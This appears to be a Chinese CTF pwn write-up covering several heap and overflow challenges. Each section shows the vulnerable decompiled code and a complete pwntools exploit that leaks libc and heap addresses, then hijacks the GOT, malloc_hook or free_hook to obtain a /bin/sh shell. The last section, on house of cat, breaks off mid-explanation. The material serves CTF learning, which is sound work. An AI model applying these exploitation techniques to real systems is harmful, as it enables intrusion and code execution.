0%

qual_virtual

1
2
3
4
5
6
ciscn_2019_qual_virtual: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d563a19678c3cec2fafbd07e6817b248c869819, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Canary,NX

漏洞分析

1
2
3
4
if ( do_mov_out(data, &temp) )
return do_mov_in(data, data->chunk[data->index + temp]);
else
return 0LL;
1
2
3
4
if ( !do_mov_out(data, &temp1) || !do_mov_out(data, &temp2) )
return 0LL;
data->chunk[data->index + temp1] = temp2;
return 1LL;
  • 在 Load 和 Save 指令中存在堆溢出

入侵思路

由于本题目不能随意控制 malloc 和 free,因此优先考虑打 GOT 表

仔细观察堆布局就可以发现破绽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> telescope 0x1b822c0 /* stack */
00:00000x1b822c0 ◂— 0x0
01:00080x1b822c8 ◂— 0x21 /* '!' */
02:00100x1b822d0 —▸ 0x1b822f0 ◂— 0x0
03:00180x1b822d8 ◂— 0xffffffff00000040 /* '@' */
04:00200x1b822e0 ◂— 0x0
05:00280x1b822e8 ◂— 0x211
06:00300x1b822f0 ◂— 0x0
07:00380x1b822f8 ◂— 0x0
pwndbg> telescope 0x1b824f0 /* code */
00:00000x1b824f0 ◂— 0x0
01:00080x1b824f8 ◂— 0x21 /* '!' */
02:00100x1b82500 —▸ 0x1b82520 ◂— 0x0
03:00180x1b82508 ◂— 0xffffffff00000080
04:00200x1b82510 ◂— 0x0
05:00280x1b82518 ◂— 0x411
06:00300x1b82520 ◂— 0x0
07:00380x1b82528 ◂— 0x0
pwndbg> telescope 0x1b82920 /* data */
00:00000x1b82920 ◂— 0x0
01:00080x1b82928 ◂— 0x21 /* '!' */
02:00100x1b82930 —▸ 0x1b82950 ◂— 0x0
03:00180x1b82938 ◂— 0xffffffff00000040 /* '@' */
04:00200x1b82940 ◂— 0x0
05:00280x1b82948 ◂— 0x211
06:00300x1b82950 ◂— 0x0
07:00380x1b82958 ◂— 0x0
  • 每个 get_Chunk 函数都会生成两个堆块,第一个堆块用于存放控制信息,而第二个堆块中可以任意堆溢出
  • 只需要覆盖第一个堆块上的堆地址为 GOT 表地址,就可以控制 GOT 表

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ciscn_2019_qual_virtual1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x4019E2")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
name = "/bin/sh\x00"
opcode = "push push push save push sub pop"
stack = "205200 4210720 -208 0"

sla("Your program name:",name)
sla("Your instruction:",opcode)
sla("Your stack data:",stack)

p.interactive()

223heap

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ae938aabdee25f8227c57fc1a4ef180897687a3, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Canary,NX

漏洞分析

1
2
3
4
5
6
if ( (&chunk2)[index] )
{
free((&chunk2)[index]);
sizeg[index] = 0;
puts("deleted heap");
}
  • UAF

入侵思路

程序有 UAF 漏洞,可以考虑打 fastbin attak,利用程序提供的 magic 功能可以实现 double free,从而实现任意堆块申请

1
2
3
4
5
6
7
canary = __readfsqword(0x28u);
printf("help function for you!");
for ( i = 0; i <= 6; ++i )
ptr[i] = malloc(0x38uLL);
for ( j = 0; j <= 6; ++j )
free(ptr[j]);
return __readfsqword(0x28u) ^ canary;

但由于 fastbin 有 size 位的检查,因此需要错位写,将 malloc_hook 前面的指针首地址 0x7f 作为 fake chunk 的 size,从而绕过 fastbin 的检查

再次之前需要先通过切割 unsorted chunk 来制作一个位于 0x70 的 fast chunk 备用

然后可以通过 Double free 覆盖 chunk->fd 的低4位来尝试完成堆重叠(这里需要1/16的爆破,同时需要写入数据来绕过 fastbin 对 size 的检查)

成功劫持 malloc_hook 上方的某个地方之后,可以覆盖 malloc_hook 为 one_gadget

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('172.16.9.41','8001')

def debug():
gdb.attach(p,"b *0x400C71 ")
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
sla("input:",str(op))

def add(size,data):
# 0xff-chunk1
# 0x100-chunk2
# 0x101-chunk3
cmd(1)
sla("malloc :",str(size))
sa("heap:",data)

def show():
cmd(2)

def dele(index):
cmd(3)
sla("delete:",str(index))

def magic():
cmd(5)

#debug()

add(0x38,"5555")
add(0x100,"4444")
add(0x38,"5555")
dele(1)
add(0x100,"1")
show()

p.recvuntil("content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b31
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
success("free_hook >> "+hex(free_hook))
success("malloc_hook >> "+hex(malloc_hook))
system = libc_base + libc.sym["system"]
success("system >> "+hex(system))

dele(1)
add(0x98,p64(0x41)*17)
add(0x120,"6666")
add(0x60,"test")

dele(0)
add(0x38,p64(0x41)*7)

dele(0)
magic()
dele(0)

show()
add(0x38,p16(0x30c8))
add(0x38,p64(0x41)*7)
for i in range(6):
add(0x38,p64(0x41)*7)

one_gedget = 0x4527a+libc_base
#one_gedget2 = 0x4527a+libc_base

add(0x38,p64(0)*2+p64(0x71)+p64(libc_base+0x3c4af5-8))
success("libc_base+0x3c4af5-8 : "+hex(libc_base+0x3c4af5-8))
success("one_gedget >> "+hex(one_gedget))

add(0x60,"p")
add(0x60,"1"*11+p64(one_gedget)+p64(one_gedget))

"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

cmd(5)

p.interactive()

car_manager

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
car_manager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7c203a4e97216a548fcfd7ab2f864bcf9e0f9e27, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

由于本程序的结构较为复杂,因此可以先用一个案例来试试结构:

1
2
3
4
5
add("a","1")
add("b","2")
add("c","3")
add("d","4")
add("e","5")

结构体 car_list:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x5564327a9390-0x10
00:00000x5564327a9380 —▸ 0x5564327a9300 ◂— 0x100000000
01:00080x5564327a9388 ◂— 0x51 /* 'Q' */
02:00100x5564327a9390 —▸ 0x5564327a8f30 —▸ 0x5564327a8f40 ◂— 0x61 /* 'a' */
03:00180x5564327a9398 —▸ 0x5564327a9040 —▸ 0x5564327a9050 ◂— 0x62 /* 'b' */
04:00200x5564327a93a0 —▸ 0x5564327a9130 —▸ 0x5564327a9140 ◂— 0x63 /* 'c' */
05:00280x5564327a93a8 —▸ 0x5564327a9230 —▸ 0x5564327a9240 ◂— 0x64 /* 'd' */
06:00300x5564327a93b0 —▸ 0x5564327a9320 —▸ 0x5564327a9330 ◂— 0x65 /* 'e' */
07:00380x5564327a93b8 ◂— 0x0
  • car_list 用于存储 cat 结构体指针,如果超过范围就会将其释放,并重新申请更大的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> telescope 0x5564327a8f30
00:00000x5564327a8f30 —▸ 0x5564327a8f40 ◂— 0x61 /* 'a' */
01:00080x5564327a8f38 ◂— 0x1
02:00100x5564327a8f40 ◂— 0x61 /* 'a' */
03:00180x5564327a8f48 ◂— 0x0
04:00200x5564327a8f50 —▸ 0x5564327a8f60 ◂— 0x31 /* '1' */
05:00280x5564327a8f58 ◂— 0x1
06:00300x5564327a8f60 ◂— 0x31 /* '1' */
07:00380x5564327a8f68 ◂— 0x0
08:00400x5564327a8f70 ◂— 0x7e8
09:00480x5564327a8f78 —▸ 0x5564327a8eb0 ◂— 0x100000000
0a:00500x5564327a8f80 —▸ 0x5564327a8ed0 ◂— 0x100000000
0b:00580x5564327a8f88 —▸ 0x5564327a8ef0 ◂— 0x100000000
0c:00600x5564327a8f90 —▸ 0x5564327a8f10 ◂— 0x100000000
  • 0x5564327a8f30-0x5564327a8f480x5564327a8f50-0x5564327a8f68 有点像 basic_string
  • 后面的 0x5564327a8eb0 就只有两个4字节的条目

可以猜测 car 结构体的条目如下:

1
2
3
4
5
6
00000000 car struc ; (sizeof=0x68, mappedto_19)
00000000 make_basic_string db 32 dup(?) ; string(C)
00000020 model_basic_string db 32 dup(?) ; string(C)
00000040 year dq ? ; year int
00000048 tire tires ? ; tire tire
00000068 car ends

在函数 new_a_car 中可以验证:

1
2
3
4
5
6
7
8
9
std::string::basic_string(car);
std::string::basic_string(car->model_basic_string);
std::string::operator=(car, make);
std::string::operator=(car->model_basic_string, model);
car->year = (int *)year;
car->tire.data[0] = (struct tire)tire;
car->tire.data[1] = (struct tire)tire2;
car->tire.data[2] = (struct tire)tire3;
car->tire.data[3] = (struct tire)tire4;

漏洞分析

在释放模块中有一个疑似 UAF 的点:

1
2
3
4
5
6
7
car_by_index = get_car_by_index(car_list, index);
car = *car_by_index;
if ( *car_by_index )
{
free_car_internal(*car_by_index);
operator delete(car, 0x68uLL);
}
  • delete 指针没有置空,但程序对 car_list 进行了特殊处理:
1
2
3
4
5
for i in range(3):
add(str(i)*8,"1"*8)

for i in range(1):
dele(0)
1
2
3
4
5
6
pwndbg> telescope 0x561b2ba0a190
00:00000x561b2ba0a190 —▸ 0x561b2ba0a110 ◂— 0x0
01:00080x561b2ba0a198 ◂— 0x31 /* '1' */
02:00100x561b2ba0a1a0 —▸ 0x561b2ba0a040 —▸ 0x561b2ba0a050 ◂— '11111111'
03:00180x561b2ba0a1a8 —▸ 0x561b2ba0a130 —▸ 0x561b2ba0a140 ◂— '22222222'
04:00200x561b2ba0a1b0 —▸ 0x561b2ba0a130 —▸ 0x561b2ba0a140 ◂— '22222222'
  • 如果释放的 chunk 不是最后一个,其后面所有的 chunk 都会往前移动
1
2
3
4
5
for i in range(3):
add(str(i)*8,"1"*8)

for i in range(1):
dele(2)
1
2
3
4
5
6
pwndbg> telescope 0x55c8ed9ee190
00:00000x55c8ed9ee190 —▸ 0x55c8ed9ee110 —▸ 0x55c8ed9ee0f0 —▸ 0x55c8ed9ee0d0 —▸ 0x55c8ed9edfa0 ◂— ...
01:00080x55c8ed9ee198 ◂— 0x31 /* '1' */
02:00100x55c8ed9ee1a0 —▸ 0x55c8ed9edf30 —▸ 0x55c8ed9edf40 ◂— '00000000'
03:00180x55c8ed9ee1a8 —▸ 0x55c8ed9ee040 —▸ 0x55c8ed9ee050 ◂— '11111111'
04:00200x55c8ed9ee1b0 —▸ 0x55c8ed9ee130 ◂— 0x0
  • 如果释放的 chunk 是最后一个,则不会有特殊操作

真正的 UAF 在复制模块中:

1
2
3
4
5
6
7
8
9
10
std::string::basic_string(car_copy, car_src); // 复制car的make
std::string::basic_string(car_copy->model_basic_string, car_src->model_basic_string);
car_copy->year = car_src->year;
result = car_src->tire.data[1];
car_copy->tire.data[0] = car_src->tire.data[0];
car_copy->tire.data[1] = result;
result = car_src->tire.data[2];
result = car_src->tire.data[3];
car_copy->tire.data[2] = result;
car_copy->tire.data[3] = result;
  • 函数 copy 会直接拷贝 car->tire.data,这样会导致两个不同的 car 占据同一个 tire.data
  • 如果将其中一个 car 释放,就可以通过另一个 car 来修改 tcache chunk

入侵思路

利用 UAF 可以快速泄露 heap_base:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(5):
add(str(i)*8,"1"*8)

copy(0)
dele(0)
show()

p.recvuntil("Car 4:")
p.recvuntil("Tire Sizes: 0, ")
leak_addr1 = eval(p.recvuntil(",")[:-1])
p.recvuntil("Tire Pressures: 0, ")
leak_addr2 = eval(p.recvuntil(",")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
heap_base = leak_addr - 0x11eb0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

泄露 heap_base 后就可以修改 tcache->next 来实现堆重叠,进而修改 chunk->size 拿到 unsorted chunk,然后泄露 libc_base

最后劫持 tcache->next 到 free_hook,并注入 “/bin/sh\x00” + system 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:utf-8 -*-
from os import system
from signal import pause
from pwn import *

arch = 64
challenge = './car_manager1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x295C)\n")
#pause()

def cmd(op):
sla("Please enter your choice:",str(op))

def add(make,mod,year=2024,size=0,pressure=0):
cmd(1)
sla("Enter the make of the car:",make)
sla("Enter the model of the car:",mod)
sla(" Enter the year of the car: ",str(year))
sla("Enter the size of tire :",str(size))
sla("Enter the pressure of tire :",str(pressure))

def dele(index):
cmd(2)
sla("Enter the index of the car to delete:",str(index))

def find(make,mod,year=2024):
cmd(3)
sla("Enter the make of the car to find:",make)
sla("Enter the model of the car to find:",mod)
sla("Enter the year of the car to find:",year)

def edit(index,make,model,year=2024,key=1,index2=0,size=0,pressure=0):
cmd(4)
sla("Enter the index of the car to modify:",str(index))
sla("Enter the new make of the car:",make)
sla("Enter the new model of the car:",model)
sla("Enter the new year of the car",str(year))
sla("Do you want to change all tires?(1/0)",str(key))
if(key == 0):
sla("Enter the idx of tire :",str(index2))
sla("Enter the new size of tire :",str(size))
sla("Enter the new pressure of tire :",str(pressure))
else:
sla("Enter the new size of tire :",str(size))
sla("Enter the new pressure of tire :",str(pressure))

def copy(index):
cmd(5)
sla("Enter the index of the car to copy:",str(index))

def show():
cmd(6)

#debug()

for i in range(20):
add(str(i)*8,"1",size=0)

copy(0)
copy(1)
dele(0)
show()

p.recvuntil("Car 19:")
p.recvuntil("Tire Sizes: ")
leak_addr1 = eval(p.recvuntil(",")[:-1])
p.recvuntil("Tire Pressures: ")
leak_addr2 = eval(p.recvuntil(",")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
heap_base = leak_addr - 0x134d0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

magic_addr = heap_base + 0x12018
magic_addr1 = magic_addr & 0xffffffff
magic_addr2 = magic_addr >> 32
success("magic_addr >> "+hex(magic_addr))

edit(19,"a"*8,"a"*8,key=0,index2=0,size=magic_addr1,pressure=magic_addr2)
add("p"*0x40,"p"*0x40)
add("o"*0x8,"o"*0x8)
edit(22,"a"*8,"a"*8,key=0,index2=0,size=0x441)
dele(20)
show()

p.recvuntil("Car 0:")
p.recvuntil(", ")
p.recvuntil(", ")
p.recvuntil(", ")
leak_addr1 = eval(p.recvuntil("\n")[:-1])
p.recvuntil(", ")
p.recvuntil(", ")
p.recvuntil(", ")
leak_addr2 = eval(p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 + leak_addr2 * 0x100000000
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"] - 8
free_hook1 = free_hook & 0xffffffff
free_hook2 = free_hook >> 32
system = libc_base + libc.sym["system"]
success("libc_base >> "+hex(libc_base))
success("system >> "+hex(system))

copy(1)
dele(1)
edit(21,"a"*8,"a"*8,key=0,index2=0,size=free_hook1,pressure=free_hook2)
payload = "/bin/sh\x00"+p64(system)
add(payload,"o"*0x8)

p.interactive()

over

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d6a2a043e8258849ba2b9c5fd02bb700a0713f20, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
writen("some add\n");
num2 = *((_DWORD *)&data + num1 + 12) + readn();
result = &data;
*((_DWORD *)&data + num1 + 12) = num2;
  • 对于 num1 和 num2 的限制不到位,因此可以覆盖函数指针 func
  • 函数指针 func 在如下函数中完成初始化:
1
2
3
4
5
6
7
8
9
10
11
int (**init_s())(const char *s)
{
int (**result)(const char *); // rax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = &puts;
func = (__int64 (__fastcall *)(_QWORD))&puts;
return result;
}

入侵思路

通过溢出可以覆盖函数指针,计算 puts system 之间的偏移,然后修改 puts 为 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('172.16.9.41','8888')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12D3)\n")
pause()

def cmd(op):
sla("do\n",str(op))

def op1(num1,num2):
cmd(1)
sla("choose",num1)
sla("add\n",str(num2))

#debug()
sla("name","/bin/sh\x00")
op1("-2","-205200")
cmd(4)

"""
00:0000│ 0x561dca9c8088 —▸ 0x7f9884234420 (puts) ◂— endbr64
pwndbg> distance 0x7f9884202290 0x7f9884234420
0x7f9884202290->0x7f9884234420 is 0x32190 bytes (0x6432 words)
"""

p.interactive()

artist

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9742fe0f588e66c62439c18f22559cc96a5137df, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
int magic()
{
char *data; // [rsp+8h] [rbp-8h]

data = *(char **)buf;
writen("Madness is the reason for becoming a king.\n");
data[readn()] = 0;
return puts("ok");
}
  • 任意堆地址置空

入侵思路

具体的思路就是利用任意堆地址置空来覆盖 tcache->next 指针,从而完成堆重叠

堆重叠以后就可以修改 chunk->size 来伪造 unsorted chunk,将其释放后就可以泄露 libc_base

利用堆风水即可第二次覆盖 tcache->next 为 free_hook,即可劫持程序执行流

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(data): # 0x80
cmd(1)
sa("input some",data)

def edit1(index,data): #1
cmd(3)
sla("idx: \n",str(index))
sla("crazy\n","no")
sa("inspiration.\n",data)

def edit2(index,data):
cmd(3)
sa("crazy\n","yes")
sa("king.\n",str(index))
sa("inspiration.\n",data)

def edit3(data):
cmd(3)
sla("crazy\n","no")
sla("inspiration.\n",data)


def free1(index,data):
cmd(2)
sla("idx: \n",str(index))
sa("edits?\n",str(1))
sa("content\n",data)

def free2(index):
cmd(2)
sla("idx: \n",str(index))
sa("edits?\n",str(2))

#debug()

payload = "a"*0x8
sa(" other.",payload)

for i in range(10):
add("/bin/sh\x00")

for i in range(3):
free2(i+2)

add("1")

edit1(10,"\x50")
edit2(0,"\xa0")

add("1")
payload = "a"*0x28 + p64(0x481)
add(payload)

free2(1)
add("1")
add("1")
free2(14)

p.recvuntil("Please enjoy your masterpiece.\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecb31
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free2(10)
p.recvuntil("Please enjoy your masterpiece.\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x4a0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

edit3(p64(free_hook))
add("1")
add(p64(system))

free2(9)

p.interactive()

CAT_DE

原本是想考察无泄露 off-by-one + houseofcat 的,但考虑到比赛时长还是对题目进行了修改,原本的设计会记录输入的数据大小,然后在 write 时限制输出的大小,而现在改为 0x30 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void show()
{
unsigned int index;

output("idx:\n");
index = (unsigned int)input_num();
if (index <= 0xF && chunk_list[index])
{
output("context:\n");
write(1, chunk_list[index], 0x30uLL);
}
else
{
output("wrong!\n");
}
}
  • 如果 write 没有了限制,就可以直接打印遗留的 heap 地址

本 wp 还是使用的无泄露 off-by-one + houseofcat 的方式来解题,对于没有 heap_base 的 unlink 攻击可以用如下思路进行绕过:

  • 获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00(遗留下 FD BK 指针)
  • 重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30 或者 \x40 \x50 等等(有一定偏移的地址都可以)
  • 之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30,然后覆盖为 \x00
1
2
3
4
5
pwndbg> telescope 0x55b6302fbd00
00:00000x55b6302fbd00 ◂— 0x0
01:00080x55b6302fbd08 ◂— 0x441
02:00100x55b6302fbd10 —▸ 0x55b6302fb290 ◂— 0x0
03:00180x55b6302fbd18 —▸ 0x55b6302fc350 ◂— 0x0

完成 unlink 攻击后有一次 largebin attack 的机会,劫持 stderr 伪造 FILE 结构体,后面的利用就和 house of cat 一样了

house of cat 调用链如下:

1
__fxprintf -> locked_vfxprintf -> __vfprintf_internal ->  _IO_wfile_seekoff -> _IO_switch_to_wget_mode
1
2
3
4
5
0x7fa0ae8d1838 <_IO_wfile_seekoff+104>    call   _IO_switch_to_wget_mode                <_IO_switch_to_wget_mode>
rdi: 0x5618e47bbb00 ◂— 0x0
rsi: 0x7fa0aea2a208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x5618e47bbbb0 ◂— 0x0
rcx: 0x0
  • 在这里会 call [rax+0x18]rax 是我们可以控制的(就是 FILE->_IO_buf_end,是我们人为伪造的)
1
2
3
4
5
6
 RAX  0x5620ac902b40 ◂— 0xffff
*RBX 0x0
RCX 0x0
RDX 0x5620ac902bb0 ◂— 0x0

